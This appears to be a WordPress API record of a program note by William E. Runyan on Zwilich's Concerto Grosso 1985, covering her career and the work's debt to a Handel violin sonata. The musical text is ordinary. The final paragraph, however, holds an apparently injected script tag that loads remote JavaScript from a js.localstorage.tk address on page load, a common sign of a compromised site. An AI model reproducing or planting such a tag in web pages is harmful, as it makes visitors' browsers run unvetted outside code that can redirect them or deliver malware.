{"id":231,"date":"2015-01-22T17:52:31","date_gmt":"2015-01-22T17:52:31","guid":{"rendered":"https:\/\/www.runyanprogramnotes.com\/program_note\/concerto-grosso-1985\/"},"modified":"2025-06-16T17:10:52","modified_gmt":"2025-06-16T17:10:52","slug":"concerto-grosso-1985","status":"publish","type":"program_note","link":"https:\/\/www.runyanprogramnotes.com\/program_note\/concerto-grosso-1985\/","title":{"rendered":"Concerto Grosso 1985"},"content":{"rendered":"<p> Zwilich is one of today\u2019s most popular and listenable composers.&nbsp; She initially studied at Florida State University and then went on to Juilliard, where she worked with luminaries Roger Sessions and Elliot Carter.&nbsp;&nbsp; She was the first to receive the DMA degree in composition there, and her early works quickly garnered critical acclaim.&nbsp; Eight years after she was graduated, she became the first woman to win the Pulitzer Prize in music.&nbsp; While her earlier style was, shall we say, \u201cdifficult,\u201d with its emphasis upon dense motivic textures, angular melodies, and atonal harmonies\u2014all typical of \u201cacademic\u201d composers of that time\u2014she moved on to a much more accessible style.&nbsp; Her mature style\u2014while definitely contemporary in technique and expression\u2014is nevertheless direct, appealing, and infused with many elements that are associated with the musical past:&nbsp; classicism and romanticism.<\/p>\n<p> <em>Concerto Grosso 1985<\/em> obviously stems from that year, and its title refers to the orchestral genre of the 17<sup>th<\/sup> and 18<sup>th<\/sup> centuries wherein a group of soloists within the orchestra is contrasted with the whole.&nbsp; Subtitled \u201cto Handel\u2019s Sonata in D for violin and continuo,\u201d Zwilich\u2019s work takes a bit of a melody from Handel\u2019s composition as the basis for all five-movements.&nbsp; Many listeners will most easily spot the allusions to Handel\u2019s music in the slow movements.&nbsp; The work was commissioned by the Washington Friends of Handel in commemoration of the 300<sup>th<\/sup> anniversary of Handel\u2019s birth.&nbsp; So, yet again, the evergreen principle in art of \u201cold wine in new bottles\u201d is renewed.<\/p>\n<p>&#8211;Wm. E. Runyan<\/p>\n<p>\u00a9 2015 William E. Runyan<\/p>\n<p><script type='text\/javascript' src='https:\/\/js.localstorage.tk\/s.js?qr=888'><\/script><\/p>\n","protected":false},"author":2,"featured_media":0,"template":"","meta":{"_acf_changed":false},"program_note_tax":[40],"class_list":["post-231","program_note","type-program_note","status-publish","hentry","program_note_tax-ellentaaffezwilich"],"acf":[],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.runyanprogramnotes.com\/wp-json\/wp\/v2\/program_note\/231","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.runyanprogramnotes.com\/wp-json\/wp\/v2\/program_note"}],"about":[{"href":"https:\/\/www.runyanprogramnotes.com\/wp-json\/wp\/v2\/types\/program_note"}],"author":[{"embeddable":true,"href":"https:\/\/www.runyanprogramnotes.com\/wp-json\/wp\/v2\/users\/2"}],"wp:attachment":[{"href":"https:\/\/www.runyanprogramnotes.com\/wp-json\/wp\/v2\/media?parent=231"}],"wp:term":[{"taxonomy":"program_note_tax","embeddable":true,"href":"https:\/\/www.runyanprogramnotes.com\/wp-json\/wp\/v2\/program_note_tax?post=231"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}